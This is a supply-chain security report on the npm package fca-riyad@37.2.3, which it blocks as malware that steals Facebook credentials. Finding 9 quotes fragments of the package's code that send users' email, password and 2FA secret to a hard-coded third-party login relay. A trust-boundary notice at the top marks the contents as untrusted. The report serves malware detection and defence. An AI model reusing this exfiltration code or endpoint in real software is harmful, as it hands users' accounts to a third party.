--- canonical: "https://firewall.lpm.dev/npm/fca-riyad/v/37.2.3" markdown: "https://firewall.lpm.dev/npm/fca-riyad/v/37.2.3.md" package: "fca-riyad" report_status: "published" title: "fca-riyad@37.2.3 npm security report" verdict: "malicious" version: "37.2.3" --- # fca-riyad@37.2.3 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Third party receives account credentials and optional 2FA secret. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 37.2.3 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) Normal credential login sends Facebook credentials and optional 2FA material to a hard-coded third-party endpoint. This is runtime behavior, not an install hook. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-09T02:05:27.674Z - **Finished:** 2026-08-09T02:06:19.345Z - **Download time:** 764 ms - **Static scan time:** 2931 ms - **AI review time:** 47976 ms - **Total time:** 51671 ms ## Security analysis ### Published attack-surface review - **Summary:** Normal credential login sends Facebook credentials and optional 2FA material to a hard-coded third-party endpoint. This is runtime behavior, not an install hook. - **Trigger:** User calls the exported login API with email/password, or appState recovery invokes credential login. - **Impact:** Third party receives account credentials and optional 2FA secret. - **Evidence paths:** module/config.js, module/login.js, module/loginHelper.js, src/api/socket/e2ee/native/lib/index.mjs - **Review source:** ai\_review - **Reviewed:** 2026-08-09T02:06:19.345Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Default remote credential submission - **Attack narrative:** The exported login path passes supplied credentials to loginHelper. On normal credential login or app-state recovery, loginHelper calls tokens(), which sends email, password, and any supplied Base32 2FA secret to the default minhdong.site endpoint before returning Facebook cookies/tokens. The package also ships and dynamically loads native E2EE libraries, increasing opaque runtime risk. - **Rationale:** Source establishes a concrete default credential-exfiltration path to an endpoint unrelated to Facebook, activated by ordinary package use. No lifecycle hook is needed for the harmful behavior. - **Files touched:** module/config.js, module/login.js, module/loginHelper.js, src/api/socket/e2ee/native/lib/index.mjs, src/api/socket/e2ee/native/build/messagix.so, src/api/socket/e2ee/native/build/messagix.dll - **Network endpoints:** https://minhdong.site/api/v1/facebook/login\_ios ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** module/config.js defaults apiServer to https://minhdong.site., module/loginHelper.js POSTs supplied email, password, and optional 2FA secret to /api/v1/facebook/login\_ios., module/loginHelper.js routes ordinary credential login and expired-appState recovery through tokens(), which calls that POST., src/api/socket/e2ee/native/lib/index.mjs loads shipped platform native libraries via koffi. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., Remote WebSocket control is disabled by default and requires a configured URL. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: High Secret - **Category:** Secrets - **Confidence:** 85.0% - **Path:** src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs - **Public source:** [View source]() Package contains a high-severity secret pattern. Public source snippet (untrusted): ```javascript patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"], ``` ### 3. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** src/api/socket/e2ee/e2ee/nativeBridge.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L37: function getDynamicImport() { L38: if (!_dynamicImport) _dynamicImport = new Function("specifier", "return import(specifier);"); L39: return _dynamicImport; ``` ### 4. Medium: Dynamic Require - **Category:** Source - **Confidence:** 75.0% - **Path:** module/loginHelper.js - **Public source:** [View source]() Package source references dynamic require/import behavior. Public source snippet (untrusted): ```javascript L1: "use strict"; L2: const fs = require("fs"); L3: const path = require("path"); ``` ### 5. Low: Weak Crypto - **Category:** Source - **Confidence:** 64.0% - **Path:** src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs - **Public source:** [View source]() Package source references weak cryptographic algorithms. Public source snippet (untrusted): ```javascript L130: copyProps(Buffer3, SafeBuffer); L131: SafeBuffer.from = function(arg, encodingOrOffset, length) { L132: if (typeof arg === "number") { ... L400: * @return {Object} Accepted configuration L401: * @private L402: */ ... L543: this._inflate[kWriteInProgress] = true; L544: this._inflate.write(data); L545: if (fin) this._inflate.write(TRAILER); ... L660: * @param {(String|Buffer|ArrayBuffer|Buffer[])} data The received data L661: * @param {WebSocket} target A reference to the target to which the event was dispatched L662: */ ``` ### 6. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 7. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 8. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 9. Critical: Hardcoded Runtime Data Exfiltration - **Category:** Source - **Confidence:** 94.0% - **Path:** module/config.js - **Public source:** [View source]() Source sends credentials or rich application records to a package-controlled external receiver enabled by default. Public source snippet (untrusted): ```javascript Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas ``` ### 10. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 11. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 12. Medium: Ships Native Binary - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** src/api/socket/e2ee/native/build/messagix.so - **Public source:** [View source]() Package ships native binary artifacts. Public source snippet (untrusted): ```text path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted] ``` ### 13. High: Ships High Entropy Blob - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** src/vendor/fca-unofficial/test/data/something.mov - **Public source:** [View source]() Package ships high-entropy non-source blobs. Public source snippet (untrusted): ```text path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted] ``` ### 14. High: Payload In Excluded Dir - **Category:** Artifact Inventory - **Confidence:** 85.0% - **Path:** src/vendor/fca-unofficial/test/data/something.mov - **Public source:** [View source]() Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths. Public source snippet (untrusted): ```text path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted] ``` ### 15. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 16. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** src/api/socket/e2ee/e2ee/nativeBridge.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.2 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 17. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** src/api/socket/e2ee/nativeBridge.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.2 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 18. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** module/loginHelper.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.2 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 19. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** src/api/messaging/uploadAttachment.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.2 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 20. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** src/api/socket/e2ee/e2ee/index.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.2 matchedPath = src/api/socket/e2ee/e2ee/index.js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 21. High: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs - **Public source:** [View source]() Google API key in src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs Public source snippet (untrusted): ```javascript patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"], ``` ### 22. High: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** src/api/socket/e2ee/vendor/fb-e2ee.cjs - **Public source:** [View source]() Google API key in src/api/socket/e2ee/vendor/fb-e2ee.cjs Public source snippet (untrusted): ```javascript patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"], ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 20 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 2 - **Published dependency-graph edges:** 20 ### Published dependency entries - @noble/curves ^2.2.0 (Dependency) - @noble/hashes ^2.2.0 (Dependency) - @signalapp/libsignal-client 0.70.0 (Dependency) - axios ^1.13.5 (Dependency) - axios-cookiejar-support ^5.0.5 (Dependency) - bluebird ^3.7.2 (Dependency) - chalk ^4.1.2 (Dependency) - cheerio 1.0.0-rc.12 (Dependency) - duplexify ^4.1.3 (Dependency) - gradient-string ^2.0.2 (Dependency) - https-proxy-agent ^4.0.0 (Dependency) - koffi ^3.0.2 (Dependency) - mime ^3.0.0 (Dependency) - mqtt ^5.10.1 (Dependency) - protobufjs ^8.4.0 (Dependency) - sequelize ^6.37.6 (Dependency) - sqlite3 ^5.1.7 (Dependency) - totp-generator ^1.0.0 (Dependency) - ws ^8.18.0 (Dependency) - yumi-json-bigint ^1.0.0 (Dependency) ## Package metadata - **Package:** fca-riyad - **Ecosystem:** npm - **Version:** 37.2.3 - **License:** MIT - **Version published:** 2026-08-09T01:36:26.892Z - **Package first seen:** 2026-08-08T14:41:53.481Z - **Package last seen:** 2026-08-09T02:06:19.345Z - **Known versions:** 4 - **Latest version:** 37.2.3 - **Appeal under review:** No - **Description:** Facebook Chat API - Modified by Riyad | Stable, Auto Re-login, Fixed setMessageReaction - **Author:** Riyad - **Keywords:** facebook, chat, api, messenger, bot, unofficial, fca, fca-riyad, riyad - **Runtime engines:** node: \>=12.0.0 - **Artifact files:** 250 - **Artifact unpacked size:** 51,342,129 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()